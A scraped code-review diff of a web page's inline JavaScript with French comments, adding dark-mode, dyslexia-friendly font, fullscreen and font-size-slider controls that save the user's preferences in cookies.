||||
const switchThemeBtn = document.querySelector('.changeTheme')
|
||||
switchThemeBtn.addEventListener('click', () => {
|
||||
if (toggleTheme === 0) {
|
||||
document.documentElement.style.setProperty('--ecriture', '#f1f1f1');
|
||||
document.documentElement.style.setProperty('--background', '#262626');
|
||||
document.cookie = "dark-mode=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
|
||||
toggleTheme--;
|
||||
} else {
|
||||
document.documentElement.style.setProperty('--ecriture', '#262626');
|
||||
document.documentElement.style.setProperty('--background', '#f1f1f1');
|
||||
document.cookie = "dark-mode=false; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
|
||||
toggleTheme++;
|
||||
}
|
||||
})
|
||||
</script>
|
||||
<script>
|
||||
|
||||
// mode dyslexique
|
||||
const switchFontBtn = document.querySelector('.changeFont')
|
||||
let toggle2Theme = 0;
|
||||
switchFontBtn.addEventListener('click', () => {
|
||||
if (toggle2Theme === 0) {
|
||||
document.documentElement.style.setProperty('--police', "OpenDyslexic");
|
||||
document.cookie = "dyslexique-mode=true; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
|
||||
toggle2Theme--;
|
||||
} else {
|
||||
document.documentElement.style.setProperty('--police', "system-ui, -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Oxygen, Ubuntu, Cantarell, 'Open Sans', 'Helvetica Neue', sans-serif");
|
||||
document.cookie = "dyslexique-mode=false; expires=Fri, 31 Dec 9999 23:59:59 GMT; path=/";
|
||||
toggle2Theme++;
|
||||
}
|
||||
})
|
||||
</script>
|
||||
<script>
|
||||
// entrer pour plein écran
|
||||
function toggleFullScreen() {
|
||||
if (!document.fullscreenElement) {
|
||||
document.documentElement.requestFullscreen();
|
||||
@ -81,35 +114,14 @@
|
||||
document.exitFullscreen();
|
||||
}
|
||||
}
|
||||
|
||||
document.addEventListener("keydown", (e) => {
|
||||
if (e.key === "Enter") {
|
||||
toggleFullScreen();
|
||||
}
|
||||
}, false);
|
||||
</script>
|
||||
|
||||
<!-- <script>
|
||||
function taille() {
|
||||
var entree = document.getElementById("entree");
|
||||
var elementpage = document.getElementById("changingfontsize");
|
||||
elementpage.style.fontSize = entree.value / 100 + "rem"
|
||||
}
|
||||
|
||||
</script> -->
|
||||
|
||||
<!-- <script>
|
||||
function taille2() {
|
||||
var entree2 = document.getElementById("entree");
|
||||
|
||||
var parentDOM = document.getElementById("content");
|
||||
var testTarget = parentDOM.getElementsByClassName("changingfontsize")[0];
|
||||
testTarget.style.fontSize = entree2.value / 100 + "rem"
|
||||
}
|
||||
|
||||
</script> -->
|
||||
|
||||
<script>
|
||||
// slider taille police d'écriture
|
||||
function taille() {
|
||||
var entree = document.getElementById("entree");
|
||||
var entree2 = document.getElementById("entree");
|
||||
@ -121,8 +133,6 @@
|
||||
testTarget.style.fontSize = entree2.value / 130 + "rem"
|
||||
}
|
||||
</script>
|
||||
|
||||
|
||||
</body>
|
||||
|
||||
</html>
|
||||
Loading…
x
Reference in New Issue
Block a user